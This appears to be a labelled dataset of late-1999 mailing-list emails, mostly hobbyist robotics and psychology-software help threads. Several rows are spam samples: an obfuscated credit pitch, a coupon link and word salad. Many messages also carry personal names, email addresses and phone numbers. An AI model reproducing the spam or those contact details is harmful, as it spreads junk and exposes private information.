we have not been able to work out >>exactly what this is doing. > > Of course it does, DMDX is tied to the refresh interval, always, >regardless of whether it's displaying audio or visual stimuli. How would >it work otherwise? If you want precise acoustic relative timing I suggest you build single wave files per item. The kind of functionality you need was offered in VM, Voice Master as opposed to Display Master. It has been left as an orphan DOS program tied to Mertus' BLISS drviers as alomost no one needs that level of functionality. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Law of Probable Dispersal: Whatever it is that hits the fan will not be evenly distributed. ",0,0 Matthew Chung ,DMDX@psy1.psych.arizona.edu,"Thu, 09 Dec 1999 10:25:22 +0800",[DMDX] Re: 1.1.13,"> Yes. If you feed it the chinese names for your shift keys as the TimeDX >input device test enumerates them. You also want +whatever_the_chinese_name_for_the_right_shift_key_is>, not as >that binds the positive response to the release of the key as opposed to >it's depression. I have try the: no mr/mpr/mnr require no mr/mpr/mnr require they all work, as you say the naming of input device must be correspons to naming provide by TIMEDX input test It is strange that on the (mr/mpr/mnr) +/- sign should be include inside the "" "", e.g but not < mpr +""button_chinese 1"">, the syntax check will report error that no mapping were found on the later case. and I can't use both and , DMDX will behave abnormally i.e. RT will be 1 and automatically continu without /c command. On using the rawjoystick, it is fascinating, without running the TIMEDX, I insert the parameter and plug in the Gamepad (logitech-thunderpad), the itemfile run, the default key REQUEST POSREPONSE NEGRESPONSE all work except VOX. the response of the gamepad make me feel much more skillful than the mouse button. I am going to compare the old itemfile that run the chinese word in bmp under english windows with the new setup with chinese word as RTF under chinese windows to see if any different... Last thing I want to ask Joanthan: About +Switch 4 VOX, on timedx input test VOX is mark N/A how can I make the VOX work on , is it some add-on circuit to connect to the gamepad....? Matthew",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 09 Dec 1999 08:29:21 -0700",[DMDX] Re: 1.1.13,"At 10:25 AM 12/9/99 +0800, you wrote: >It is strange that on the (mr/mpr/mnr) +/- sign should >be include inside the "" "", e.g but not < mpr >+""button_chinese 1"">, the syntax check will report error that no mapping >were found on the later case. No it's not strange, the name of the button (as far as DMDX is convcerned) includes the + or - symbol. >and I can't use both and , DMDX will behave >abnormally i.e. RT will be 1 and automatically continu without /c command. You can't use a pio12 input device unless you actually have a PIO-12, if you do then DMDX will be taking noise as input and so it can see the request key hit when in fact it isn't. >On using the rawjoystick, it is fascinating, without running the TIMEDX, I >insert the parameter and plug in the Gamepad >(logitech-thunderpad), the itemfile run, the default key REQUEST POSREPONSE >NEGRESPONSE all work except VOX. the response of the gamepad make me feel >much more skillful than the mouse button. Because only those buttons are bound by default, if you wish to use other buttons you will have to bind them yourself. >I am going to compare the old itemfile that run the chinese word in bmp >under english windows with the new setup with chinese word as RTF under >chinese windows to see if any different... > >Last thing I want to ask Joanthan: >About +Switch 4 VOX, on timedx input test VOX is mark N/A >how can I make the VOX work on , is it some add-on circuit >to connect to the gamepad....? It's the PIO Test that you are talking about, not the Input Test. You can't use RawJoystick for anything except a classic joystick that has up to 4 buttons. If you wish to use the fifth button you will have to use and put up with have it take 1.5ms to poll the device (or short out the potentiometers n the gamepad). Alternatively you could use RawJoystick and map +Button 3 to the VOX (which you'd have to do even if you could get button 4 anyway as it isn't bound by default), . -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Trying to be happy is like trying to build a machine for which the only specification is that it should run noiselessly.",0,0 Thomas Hauri ,Jan Liphardt ,"Thu, 09 Dec 1999 18:53:49 +0100",Re: Piezo Rate Gyro and HB,"Hi Jan good job. I've done exactly the same thing :)))) I only use some assembler code to measure the time. In fact I have some code, that lets you measure a frequency or a pulsewidth ranging from about 30 Hz to 30kHz. If anyone wants the code (i've supplied it many times to other people from ths list) just send me a mail. Unfortunately Fred hasn't put the code on the HB home page yet, maybe sometime he will :)))) (hi Fred) cu Tom Jan Liphardt wrote: > Hi, > > FYI, it is possible (and indeed pretty easy) to attach a small piezo > rate > gyro to the HB. I used the hitec GY-130 (availible for about 100$ from > Tower Hobbies). It modifies a PWM signal - the pulse width increases or > decreases depending on the rate of rotation around the gyro axis. > > I used one servo port on the extension board to provide the > PWM signal: > > init_expbd_servos(action) ; /*initialize servos*/ > > pos_servo_0 = 1500; /* 0 to 3000 are valid */ > > and measured the pulse width with TIC3: > > while(1) > { > temp = gyro_sample(); > if((temp < 5000) && (temp > 100)) {printf(""gyro rate: %d\\n"",temp)} > sleep(0.1); > } > > int gyro_sample() { > int start_pulse; > int end_pulse; > > int TFLG1 = 0x1023; /* Timer flags, 8-bit reg*/ > int TMSK1= 0x1022; /* Timer Interrupt Masks, 8-bit reg*/ > int TCTL2 = 0x1021; /* Timer control 2, 8-bit reg, interupt > edge*/ > > bit_set(TCTL2, 1); /* at tctl2, */ > bit_clear(TCTL2, 2); /* set tic3 for rising edge */ > > poke(TFLG1, 1); /* clear tic3 flag */ > > while (!(peek(0x1000) & 0x1)) { /*do nothing*/; } > > start_pulse = peekword(0x1014); /* tic3 has time of echo */ > > bit_set(TCTL2, 2); /* at tctl2, */ > bit_clear(TCTL2, 1); /* set tic3 for falling edge */ > poke(TFLG1, 1); /* clear tic3 flag*/ > > while (peekword(0x1014) == start_pulse){ /*do nothing until 0x1014 > actually changes*/; } > > end_pulse = peekword(0x1014); /* tic3 has time of echo */ > > if ((end_pulse <0) && (start_pulse < 0 )) > { return (end_pulse + (- start_pulse));} > > if ((end_pulse > 0) && (start_pulse > 0 )) > { return(end_pulse - start_pulse); } > > if ((end_pulse <0) && (start_pulse > 0)) > {return( (32767 + end_pulse) + (32767 - start_pulse) );} > > if ((end_pulse >0) && (start_pulse < 0 )) > {return ( (end_pulse) + (- start_pulse) ); } > > } > > Sorry about the terrible code - I've only had my HB since yesterday! It > does work, > though. > > Jan > > Jan Liphardt > Dept. of Physics > UC Berkeley > (510) 642 1440 -- Thomas Hauri ZHW Zuercher Hochschule Winterthur Zurich University of applied sciences IMS Institute of Mechatronic Systems Technikumstr.9 /PF CH-8401 Winterthur Switzerland Phone : +41 52 267 74 79 Fax : +41 52 268 74 79 Mail : Thomas.Hauri@zhwin.ch HP : http://www.zhwin.ch",0,1 Toru Tsuboyama ,svd_ml@bsunsrv1.kek.jp,"Fri, 10 Dec 1999 11:35:27 +0900",Large doses in the beam study 2-8 December 1999,"Dear colleagues, As D.Zonter showed in yesterday's SVD meeting, there were three moments with extremely high dose rate while the high-emittance run of KEKB was prepared. SVD has suffered radiation 0.2 to 0.4 krad, depending on the radfet position. Only F-90 sensor, which is put on Beryllium pipe, suffered 1.3 krad in a few minutes. The F-VA1 sensor which is placed at F-90 position, behind 300 um gold plates, suffered about 0.6 Krad. It seems that the 300 um gold, together with the slight larger distance from the beam center could reduce the radiation level by 1/3. 1) December 2 16:20 Since the injection to LER was poor, LER movable masks were fully opened. SVD issued beam abort at LER current of 4 mA. 2) December 5 17:20 Since the injection to LER was poor, LER movable masks were fully opened. SVD issued beam abort at LER current of 20 mA. 3) December 8 19:58 When vacuum leakage happened. Beam is aborted by SVD. Graphs were read out by eyes. Dec.2 Dec.5 Dec.8 Sensor 16:20 17:20 19:59 F 0 degrees on Be tube 0.6 0.3 0.4 F 90 degrees on Be tube 0.05 0.1 0.1 F 180 degrees on Be tube 0.05 0.1 0.05 F 90 degrees close to VA1 0.1 0.15 0.15 B 180 degrees on Be tube 0.05 0.1 0.1 ============================================================= Best regards, Toru (KEK) ",0,0 Matt Davis ,DMDX@psy1.psych.arizona.edu,"Fri, 10 Dec 1999 12:29:38 +0000",[DMDX] Script for gating experiments,"I've written a script that processes sound files to be used in running a gating experiment. (For the unitiated, in a gating experiment, progressively longer sound files are played to subjects who respond with the word or words that they can hear at each gate). The script automatically processes .wav files, creating sound files of increasing duration (e.g. first gate 100msec, second gate 150msec, third gate 200msec, etc.). The script is fairly flexible so that you can set the duration of the first gate and the interval between it and subsequent gates to suit your needs. Some caveats: 1) The script cuts off speech at the exact number of milliseconds specified (not looking for zero-crossings). There may be some minor pops and clicks in the resulting sound files. 2) I couldn't figure out how to work with the cursor specifications that DMDX uses. So the script creates one soundfile for each gate - this can take up a lot of disk space. You can download the script from here: http://www.mrc-cbu.cam.ac.uk/personal/matt.davis/dmdx.html#Gating Comments and suggestions would be welcomed. Matt PS Can anyone point me towards documentation on how cursor positions are specified in .wav files. That way some future revision to the script could be written to use cursors rather than creating zillions of sound files. **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#621) Fax: 01223 359 062 **************************************************** ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 10 Dec 1999 09:04:35 -0700",[DMDX] Re: Script for gating experiments,"At 12:29 PM 12/10/99 +0000, you wrote: >PS Can anyone point me towards documentation on how cursor positions are >specified in .wav files. That way some future revision to the script could >be written to use cursors rather than creating zillions of sound files. The are called Cues and are a standard .WAV file feature however not all editors may provide support for them, CoolEdit96 (View / Cue List) certainly does though. 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Can I use Y1, Y2, Y3, Y4, and Y5 if needed? Y0 is used by poke(0x4000, Data) , what address do I poke for Y1 through Y5. I have already searched through the mail archive and could not find much. I dont need the motor drivers on this board which leaves Y6 spare as well. Thanks in advance. Brennan ",0,0 Gary Livick ,Brennan ,"Fri, 10 Dec 1999 19:30:18 -0800",Re: silly question or not??,"No, its not a stupid question. Just impossible. At least kind of impossible. If you want 32 more outputs using the board as-configured, forget it. With what is available for chip selects minus what you have used already, you can get 16 more. All that was available to begin with was $4000, $5000 and $6000. Fred uses $7000. By studying and doing some hand wiring, you can get as many outputs as you could conceivably ever use. But first, you must understand how to get what you want by reading ""the 6.270 Robot Builder's Guide"" from this page: http://el.www.media.mit.edu/groups/el/projects/handy-board/techdocs/appendxb.pdf Look at about page 189 of the .pdf file. You will see that as things are, you have to get some more address space by tapping into address lines and using some gates the same way Fred uses A15. Reading the 6.270 guide should help you understand. There is also a section in ""Mobile Robots, From Inspiration to Implementation,"" 2 ed. that will help you understand. I don't have my book handy, so I can't give you the page, but it's in there. Good luck, and happy wiring. Gary Livick Brennan wrote: > Im sorry if this is a stupid question....... no1 has answered..... or > does no1 know???? Hello everyone...I hav already connected a hc374 to > Y0 of the expansion bus to get 8 digital outs, It works gr8. I need > anouther 32 outputs which meens I need 4 more latch selects. Can I use > Y1, Y2, Y3, Y4, and Y5 if needed? Y0 is used by poke(0x4000, Data) , > what address do I poke for Y1 through Y5. I have already searched > through the mail archive and could not find much. I dont need the > motor drivers on this board which leaves Y6 spare as well. Thanks in > advance.Brennan ",0,1 Emilian Dash ,handyboard@media.mit.edu,"Sat, 11 Dec 1999 02:40:46 -0700",Re: nyyuy news,"D k ear Home O r wne c r , Your cr s edi d t doesn't matter to us ! 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You should be able to drive motors in the 1A range. Just a thought. -kam http://www.mech.utah.edu/~kleang ",0,1 Nick Taylor ,handyboard@media.mit.edu,"Sun, 12 Dec 1999 17:38:38 -0800",Re: L298 Motor Driver,"If you don't already have the L293D chips it would give you more current capability if you used the SN754410. It is pin compatible with the L293D and supplies 1A continuous versus 0.6A for the L293D, and they can be stacked just as Kam suggested for the L293Ds. - Nick - Kam K Leang wrote: > > James, > > Have you considered stacking two L293D chips on top of each other, solder the > legs together and add a heat sink? You should be able to drive motors in > the 1A range. > > Just a thought. > > -kam > http://www.mech.utah.edu/~kleang ",0,1 """J.M. Mongeau"" ",handyboard@media.mit.edu,"Mon, 13 Dec 1999 02:34:58 +0000",Inversine sine function,"Hello, I would like to calculate an inverse sine (arcsin) function for one of my application. Does anyone know the algorithm of this trigonometric function? Thank you, J.M. Mongeau ",0,0 John Cromer ,handyboard@media.mit.edu,"Mon, 13 Dec 1999 03:50:39 +0000",Re: Inversine sine function,"In lugnet.robotics.handyboard, Jean-Michel Mongeau writes: >Hello, > I would like to calculate an inverse sine (arcsin) function for one of >my >application. Does anyone know the algorithm of this trigonometric function? > >Thank you, >J.M. Mongeau You might give this a try (for -1 < x < 1): ArcSin(x) = x + a(1)*x^3 + a(2)*x^5 + a(3)*x^7 + ... etc. with a(1) = 0.1666666667 a(2) = 0.0750000000 a(3) = 0.0446428571 a(4) = 0.0303819444 a(5) = 0.0223721599 a(6) = 0.0173527644 a(7) = 0.0139648437 a(8) = 8.0115518009 (?) a(9) = 0.0097616095 a(10)= 0.0083903358 Caveats: I've never used this series. It's from Jan Tuma, Handbook of Numerical Calculations in Engineering, McGraw-Hill, 1989, p 184-185. The value for coeffecient a(8) sure looks like a typo. Good luck. John C.",0,0 John Cromer ,handyboard@media.mit.edu,"Mon, 13 Dec 1999 06:16:02 +0000",Re: Inversine sine function,"This polynomial approximation looks better: ArcSin(x) = Pi/2 - Sqrt(1-x)*(a(0) + a(1)*x + a(2)*x^2 + a(3)*x^3 + a(4)*x^4 + a(5)*x^5 + a(6)*x^6 + a(7)*x^7 ) where a(0) = 1.57079 63050 a(1) = -0.21459 88016 a(2) = 0.08897 89874 a(3) = -0.05017 43046 a(4) = 0.03089 18810 a(5) = -0.01708 81256 a(6) = 0.00667 00901 a(7) = -0.00126 24911 Reference: Abramowitz and Stegun, Handbook of Mathematical Functions, Dover, 9th printing, 1972. p 81. Caveat: I haven't used this one either, but the authors claim better than 2e-8 accuracy for 0<=x<=1, which is much better than the series in my first reply. Again, good luck. John C. In lugnet.robotics.handyboard, John Cromer writes: >In lugnet.robotics.handyboard, Jean-Michel Mongeau writes: >>Hello, >> I would like to calculate an inverse sine (arcsin) function for one of >>my >>application. Does anyone know the algorithm of this trigonometric function? >> >>Thank you, >>J.M. Mongeau > >You might give this a try (for -1 < x < 1): > >ArcSin(x) = x + a(1)*x^3 + a(2)*x^5 + a(3)*x^7 + ... etc. > >with >a(1) = 0.1666666667 >a(2) = 0.0750000000 >a(3) = 0.0446428571 >a(4) = 0.0303819444 >a(5) = 0.0223721599 >a(6) = 0.0173527644 >a(7) = 0.0139648437 >a(8) = 8.0115518009 (?) This should be 0.0115518009, but really, don't bother.... >a(9) = 0.0097616095 >a(10)= 0.0083903358",0,0 Dave Gurr ,java-sig@csc-sun.math.utah.edu,"Mon, 13 Dec 1999 20:00:04 -0700",Immediate Java Need,"I am currently searching for strong Java developers with servlet experience or a desire to be doing servlet coding. My client is a strong company located in Murray and they are growing quite rapidly. If you are interested, please let me know. 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Tonkens, M.D. Medical Director Primary Care of Nevada 100 North Green Valley Parkway Suite 240 Henderson, NV 89014 Kah Mun >Whenever I run this simple program below, i get the following error message: >""Fatal Internal Error: Illegal size to spew_peek_op(read local)"". What >does it >mean?? Please help.. > > >void servo(char balloon) >{ const float left_b=400.0; > const float right_b=4840.0; > const float center=2530.0; > float t; > > switch (balloon) > { > case 'L': t=left_b+right_b; > printf(""Total=%f\\n"", t ); > break; > > case 'R': t=left_b+center; > printf(""Total=%f\\n"", t ); > break; > > case 'B': t=right_b+right_b; > printf(""Total=%f\\n"", t ); > break; > } >} /* end of program */ > RMT ",0,0 Bocquet777@aol.com,jimmn@xnet.com,"Tue, 14 Dec 1999 15:07:56 -0500",Re: Driving an L298 motor driver board,"Hi, I done a PCB with the L298 H-Bridge. You just need to remove the L293D and but a special connector in the socket. You can drive motors (2) with 2A current. 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The outer pins of the potentiometer would go to +5 and ground and the center pin would go to one of the analog input ports on the Handyboard. This would allow your program to know which way to turn the motor to get it to turn to a desired location. As you get close to the target reduce the power to the motor so that you slow down the closer you get. If you really want to build a servo, there are IC's on the market which do most of the work for you. They have inputs for a potenitiometer for feedback and outputs for motor control. I don't have any part numbers for you but I've seen them in catalogs. Barry In lugnet.robotics.handyboard, Kah Mun writes: >I know that designing your own servo motor is kinda stupid becoz they are >abundant out there. but i'm in a competition which requires us to design our >own gearbox, so i don't see a way out of it. > >how do i start? how do i design that feedback loop which will involve a >potentiometer; the gear ratios, etc. please help. > > >kah mun ",0,0 James Munro ,handyboard@media.mit.edu,"Thu, 16 Dec 1999 16:56:49 +0000",Mystery problem,"I have been having a weird non-fatal problem lately with my handyboard. I put some code into the other night that was simply calling the testanalogs() function on startup. The .lis file I used just loaded the hbtest.c and the file I wrote containing main(). After downloading and using this program, I had problems getting my hb linked back to IC3.2 and the green power light was glowing faintly, even when off. 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That is apparently a substitute for the ISU160. When I run the simple test program: while (1) {if (4 & peek(0x1000)) fd(0); else bk(0);} my lights continuously flicker. When I put my logic proble on the output, it is a continuous pulse. The demodulator does not seem to be working. I also tried a second part with the same result. The data sheet for these parts seems to indicate the need for some capacitors on the supply and output (47uF and 1000pF respectively) Can anyone give me some ideas? thanks, Wayne ",0,0 rureddy@altavista.com,handyboard@media.mit.edu,"Thu, 16 Dec 1999 23:48:19 -0500",Here are your coupons," Here are some coupons for you. No need to register your E-Mail address or anything else. Just print and save. Merry Christmas !! http://www.nobull.bigstep.com/generic.html;$sessionid$DYSB0EAAAABJTWGIHUVHBMWYZA4S1PX0?pid=27 If you feel that you have received this in error, please forward it back to sender and you will be removed from our mailing list. Thank You. ",0,1 Dennis Clark ,handyboard@media.mit.edu,"Fri, 17 Dec 1999 18:48:32 +0000",Re: Help with IR receive,"In lugnet.robotics.handyboard, Wayne Crosbie writes: >I just added the Sharp IS1U621 to my handyboard. That is apparently a substitute >for the ISU160. When I run the simple test program: > > while (1) {if (4 & peek(0x1000)) fd(0); else bk(0);} > >lights continuously flicker. When I put my logic proble on the output, it is >continuous pulse. The demodulator does not seem to be working. I also tried a >second part with the same result. > > data sheet for these parts seems to indicate the need for some capacitors on >the supply and output (47uF and 1000pF respectively) These are NOT optional components. I saw the same thing with the IS1U60 if I didn't use the 47uf/47ohm low-pass filter on the Vdd input to the part. Use it, your problem will go away. have fun, DLC ",0,0 """Mulampaka, Kalyan (GEIS, ASI)"" ","""Lego-Robotics (E-mail)"" , ""Handyboard (E-mail)"" ","Fri, 17 Dec 1999 15:26:14 -0500",Shaft Encoders,"Can somebody provide links to Information on Shaft Encoders. Thanks Kalyan Mulampaka Software Engineer e GE Information Services ___________________________ Ph#: (770) 698 4436 (O) (770) 390 0887 (R) ",0,0 Wayne Crosbie ,handyboard@media.mit.edu,"Fri, 17 Dec 1999 20:42:36 +0000",Re: Help with IR receive,"thanks for the help. I just breadboarded the circuit with the RC circuit and the instability has gone away. Now I have to get the extra components on to the HB :) see the datasheet for details: http://www.sharp.co.jp/ecg/db19992000/pdf/irdusrc/is1u621.pdf Wayne In lugnet.robotics.handyboard, Dennis Clark writes: >In lugnet.robotics.handyboard, Wayne Crosbie writes: >>I just added the Sharp IS1U621 to my handyboard. That is apparently a >substitute >>for the ISU160. When I run the simple test program: >> >> while (1) {if (4 & peek(0x1000)) fd(0); else bk(0);} >> >>lights continuously flicker. When I put my logic proble on the output, it is >>continuous pulse. The demodulator does not seem to be working. I also tried a >>second part with the same result. >> >> data sheet for these parts seems to indicate the need for some capacitors on >>the supply and output (47uF and 1000pF respectively) > > These are NOT optional components. I saw the same thing with the IS1U60 >if I didn't use the 47uf/47ohm low-pass filter on the Vdd input to the part. >Use it, your problem will go away. > >have fun, >DLC ",0,1 Aaron Pierce ,handyboard@media.mit.edu,"Fri, 17 Dec 1999 15:20:58 -0800","HB heat problems, HB connectivity problems (Mac)","I have two HandyBoards. One is having a severe heating problem on the second from the bottom chip on the left side. It is getting to the point that after a few minutes of being on, it is painful to touch. All of the solder points to that chip appear all right to the eye. If there is something that I can do to correct this problem let me know. The second Handyboard is not being recognized by the computer. To get into boot strap mode, I flick the on switch with ""Stop"" depressed. The power light then does not come on untill i have the board plugged into the Interface Board. I have the Interface board plugged into the modem port and have the appropriate software running. The power is plugged into the Interface board because it doesn't work if it is in the HB. I get endless lines of ""Synchronizing with board, Board not responding."" My only choice to close the program is to force quit it. If I unplug the Board, it knows it is not there. I have also tried it in the printer port. The software does not run. That is not so much a concern as long as the modem port works. ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 """Mar, Ericson"" ","""'handyboard@media.mit.edu'"" ","Fri, 17 Dec 1999 19:22:28 -0500",Futaba or Hitec servos,"Hello, Which ones are better? Advantages/Disadvantages Are there any alternatives that operate the same way? Please share some experience. Thanks for any! :) > Ericson Mar > Global Settlement Systems > CREDIT | FIRST > SUISSE | BOSTON > 5 World Trade Center Phone: (212)322-1325 > New York, NY Pager: (888)778-1025, Skytel > PIN:7781025 > Email : mailto:ericson.mar@csfb.com > Skymail : mailto:7781025@skytel.com > > > > > This message is for the named person's use only. It may contain confidential, proprietary or legally privileged information. No confidentiality or privilege is waived or lost by any mistransmission. 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My recent models have mostly been models of the robots we build at work. They are cartesian robots used in the injection moulding industry and they remove or insert parts into the moulding machine. You can find more information about our robots at http://www.ventax.com . My cartesian robots use a ""linear"" shaft encoder. This consists of a paper tape with 12mm wide black marks on it. When the light sensor sees the begining of the black mark it signals the ""slow down"" of that axis motor and the end of the mark signals the ""stop"" of that particular axis. On our less expensive robots we use proximity switches with ""slow down"" and ""stop"" targets so it's really quite simliar to that. On one of my other robot projects which was a jointed 3-axis robot, I first tried using the light sensor for a shaft encoder. I used a black marker to paint half of a 2x2 round cylinder brick black. By placing this next to the light sensor I could get a resolution of about 180 degrees... or half a revolution. I alredy know the motor direction because it's set. So it's not to difficult to set up a counting subroutine that keeps track of where a particular axis is. If you want to see some pictures of the set up, you might check my directory of robot projects. You can find this at http://www.oxford.net/~hendryjr/robot/ . One of the most ""radical"" applications I used this idea for was for a tower ride (under the directory ride2/ in the above URL). The encoder was mounted at the base of the tower on a pully. When the car ran up and down it would figure out the relative position of the car. This ride was modeled after the HUSS ""Shot-N-Drop"". This ride made it's premier on the German fairgrounds th is year, I believe. You can find more information about this fantastic, programmable pneumatic vertical ride at the HUSS website - it's fantastic! HUSS is undoubtedly the world leader in flat rides. http://www.hussrides.com . I had the privelage earlier this year visiting SixFlags Great Adventure, home of North America's only HUSS ""Jumping"". It was simply fantastic... I'm geting terribly off topic at a fantastic rate (^: Off to bed! Iain (who just made his first post! Who-hoo!) -- tokama http://www.oxford.net/~hendryjr ICQ UIN 5362826 AIM Linjerflyg h e n d r y j r AT o x f o r d DOT n e t ",0,1 Parisi Zoie ,handyboard@media.mit.edu,"Sat, 18 Dec 1999 07:19:57 -0500","refresh my memory, mood and mental energy","! mural see incredulous ! raytheon some commissariat may bookie ",1,0 Dennis Clark ,handyboard@media.mit.edu,"Sun, 19 Dec 1999 16:31:09 +0000",Re: Futaba or Hitec servos,"In lugnet.robotics.handyboard, ""Mar, Ericson"" writes: >Hello, > >Which ones are better? Advantages/Disadvantages >Are there any alternatives that operate the same way? >Please share some experience. As always with the ""what is better"" question, I must ask... What do you mean by ""better""? They will operate the same, I think they have the same cable pinout. The Hitec ones are cheaper usually, but a little larger for the same specs. At the low end ($10-$20 range) there is no performance difference. There are about 10 companies that make servos. My only caveats are that the Hobbyco ones are crap. The rest seem to be quality products. DLC",0,0 jongley@bu.edu,info@gso.bu.edu,"Sun, 19 Dec 1999 18:52:24 -0500",Minutes of 12/16/99 GSO Meeting,"Here are the minutes of the Thursday, 12/16/99, GSO Meeting. Summary: 1. The constitution was voted on; all present approved it, but based on the number of approval votes received at the time of the meeting, three (3) additional email votes from absent department reps are needed before it is adopted. 2. Officers and liaison committee members who were elected are: Aimee Trochio - Vice President; Dave Morgan - Treasurer; Amanda Schermer and Masako Yamada - Liaison Committee. Minutes: Jason Ritt, from the Mathematics Department, moderated the meeting, which began at 5:45 p.m. I. The constitution was voted on. It received 12 votes in favor, which included two votes via email, and none against; it needs three more votes from absent department representatives before it is passed. II. Committee chairs for the term beginning in the Spring are: FAR committee - Nathan Mesnikoff; Healthcare - Robert Pitts (volunteered until May); Housing & Community - no members; Publicity - no chair; Social committee - no members. III. Election of Officers and Liaison Committee Members. Nominated for office to the GSO were: 1. Aimee Trochio - Vice President 2. Dave Morgan - Treasurer (volunteered until May) 3. Amanda Schermer and Masako Yamada - Liaison Committee All were elected unanimously. Jason Ritt received one write-in vote for President, but declined to run for the position. The position of President therefore remains open. IV. Constituent Issues. 1. Amanda Schermer raised two issues in two proposals to the GSO. a. One-time Volunteer Activity for the GSO. Amanda proposed to approach the administration in order to get a suggestion from them for a one-time volunteer activity that the GSO might do as a community service project. This proposal passed unanimously. b. Graduate Student Representation on Administrative Committees. Amanda proposed to approach the administration, in particular, Assoc. Dean Whitaker's office, in order to find out what administrative committees exist to which the GSO might send graduate student representatives. This proposal also passed unanimously. 2. Report on Library Privileges. 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A graduate student attending the meeting wanted the GSO to work towards getting the University to help first-year graduate students obtain housing. He noted that Rutgers, Harvard and MIT had such services. He argued that at least temporary help would be useful, say, until the first of September. He noted that right now new foreign students were given free housing for about a week, during their orientation, but that they were kicked out of the dorms on 8/28, while most of them could not move into their new apartments until 9/1. It was pointed out that the GSO has the opportunity to work with the administration on this year's orientation, and that we might be able to pursue the issue further with the administration in the Spring. The proposal to put the issue on the agenda of the next GSO meeting was passed unanimously. 5. Travel. Jason Ritt proposed to look into group airline rates for travel grants for those graduate students attending conferences and other academic functions. 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It is swithcing properly with the inputs but it is not drawing the current required for the motor. I am sensing the out Voltage as 8v but when i connect the motor it is dropping to 0v . and the current drawn by the motor is very less(0.9ma). I don't know why it is not supplying the current for the motors. i am giving the circuit as a text attachment. Please help me with this. Logically circuit is working properly, and it is switching the out voltages acourding to the inputs but it is not drawing sufficiant current from the power source and not suppliing to the motors. any help is appreciated. thank you, Robo. Robo_helpmate@yahoo.com __________________________________________________ Do You Yahoo!? Thousands of Stores. Millions of Products. All in one place. Yahoo! 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Kline"" ",DMDX@psy1.psych.arizona.edu,"Tue, 21 Dec 1999 10:42:08 -0500",[DMDX] update on triggering Neuroscan,"Dear all, I was successful in triggering Neuroscan with DMDX, and had a really pleasant surprise: DMDX will output 256 discrete stimulus types to the Neuroscan unit through each of 8 output bits on the Computerboards CIO/DIO 24 (PIO-12 clone). If anyone is interested in exemplar code for how to do this, please feel free to contact me. Thanks again to all who responded. best regards, _____________________________________________________________________________ John P. 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",0,0 Kah Mun ,handyboard@media.mit.edu,"Tue, 21 Dec 1999 20:43:37 +0000",unknown error,"i've IC version 2.82. whenever i load the program below, it keeps giving me an error on the line which 'INT SPEED_TABLE[]' is declared. what's wrong?? void main() { int i; start_press(); int speed_table[]= {0b00000000, 0b00010001,0b01001001,0b01010101, 0b01010111,0b01110111,0b01111111,0b11111111}; for (i=0; i<4; i++) {poke(0x0e, speed_table[i]); printf(""%b\\n"", speed_table[i]); } }",0,0 Gary Livick ,Kah Mun ,"Tue, 21 Dec 1999 13:01:52 -0800",Re: unknown error,"One obvious thing is that you must declare your local variables at the start of the function before any statements. Gary Livick Kah Mun wrote: > i've IC version 2.82. whenever i load the program below, it keeps giving me an > error on the line which 'INT SPEED_TABLE[]' is declared. > what's wrong?? > > void main() > { int i; > start_press(); > > int speed_table[]= {0b00000000, 0b00010001,0b01001001,0b01010101, > 0b01010111,0b01110111,0b01111111,0b11111111}; > > for (i=0; i<4; i++) > {poke(0x0e, speed_table[i]); > printf(""%b\\n"", speed_table[i]); > } > }",0,0 Christopher Prosser ,handyboard@media.mit.edu,"Wed, 22 Dec 1999 17:00:56 +0000",Re: speed control bytes,"Fram my reading of the pcode interpreter source, you only get the option of doing all motors or none by default. It doesn't look like it would be too difficult to modify the pcode to only do the first two motors. You can get the source at: ftp://cherupakha.media.mit.edu/pub/projects/interactive-c/source/pcode-2.81- dist.tar.Z and: http://el.www.media.mit.edu/groups/el/projects/handy-board/software/pcode.as m -chris #else #if defined (SBOT) | defined (REV21) | defined (HANDYBOARD) * PWM code for sensor robot and Rev 2.1 Board *****************8 * * motor direction selected by low nybble of DIGOUTPUT * motors enabled by high nybble of DIGOUTPUT * * check if pulse width modulation is enabled LDAB motor LDAA system_functions ANDA #PWM BEQ SPDexit ; if zero, exit w/o modulation LDAA speeda ; rotate bits in motor speed ASLA BCC SPDoffA ADDA #1 EORB #%00010000 BRA SPDsetA SPDoffA ORAB #%00010000 SPDsetA STAA speeda LDAA speedb ; rotate bits in motor speed ASLA BCC SPDoffB ADDA #1 EORB #%00100000 BRA SPDsetB SPDoffB ORAB #%00100000 SPDsetB STAA speedb LDAA speedc ; rotate bits in motor speed ASLA BCC SPDoffC ADDA #1 EORB #%01000000 BRA SPDsetC SPDoffC ORAB #%01000000 SPDsetC STAA speedc LDAA speedd ; rotate bits in motor speed ASLA BCC SPDoffD ADDA #1 EORB #%10000000 BRA SPDsetD SPDoffD ORAB #%10000000 SPDsetD STAA speedd EORB #$F0 SPDexit STAB DIGOUTPUT *************************** end of sensor robot PWM code ----- Original Message ----- From: ""Kah Mun"" To: Sent: Tuesday, December 21, 1999 11:49 AM Subject: speed control bytes > > i understand that when the PWM is off, the mask: 0b11111111 switches all motor > ports on in the forward direction. but if the PWM is on, what bit string > correspond to what speed? > > is it possible to have motor ports 0 and 1 controlled using PWM while ports 2 > and 3 are not? >",0,1 Rebecca Garcia ,java-sig@csc-sun.math.utah.edu,"Thu, 23 Dec 1999 13:24:59 -0700",Job Opportunities,"Please find attached several available opportunities at Campus Pipeline which require Java skills. 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TIA John ",0,0 harsh@lanl.gov,handyboard@media.mit.edu,"Tue, 04 Jan 2000 10:38:01 -0700",archive and/or temperature sensor,"Hi, Hate to bother every one but is there an archive for the list? I remember a few weeks ago someone talking about interfacing a temperature sensor to the handyboard. I wanted to see how that person was going about it. I'm a software person who did hardware a long time ago and need as much help as I can get to get started. Finished building my handyboard over the weekend. Thanks, Jim --------------------------------------------- Jim Harsh E-Mail: harsh@lanl.gov Los Alamos National Laboratory, MS P940 Los Alamos, NM 87545 505-665-0485, FAX - 505-665-3359 Date: 04-Jan-00,Time: 10:34:14 --------------------------------------------- ",0,0 Jeff Keyzer ,harsh@lanl.gov,"Tue, 04 Jan 2000 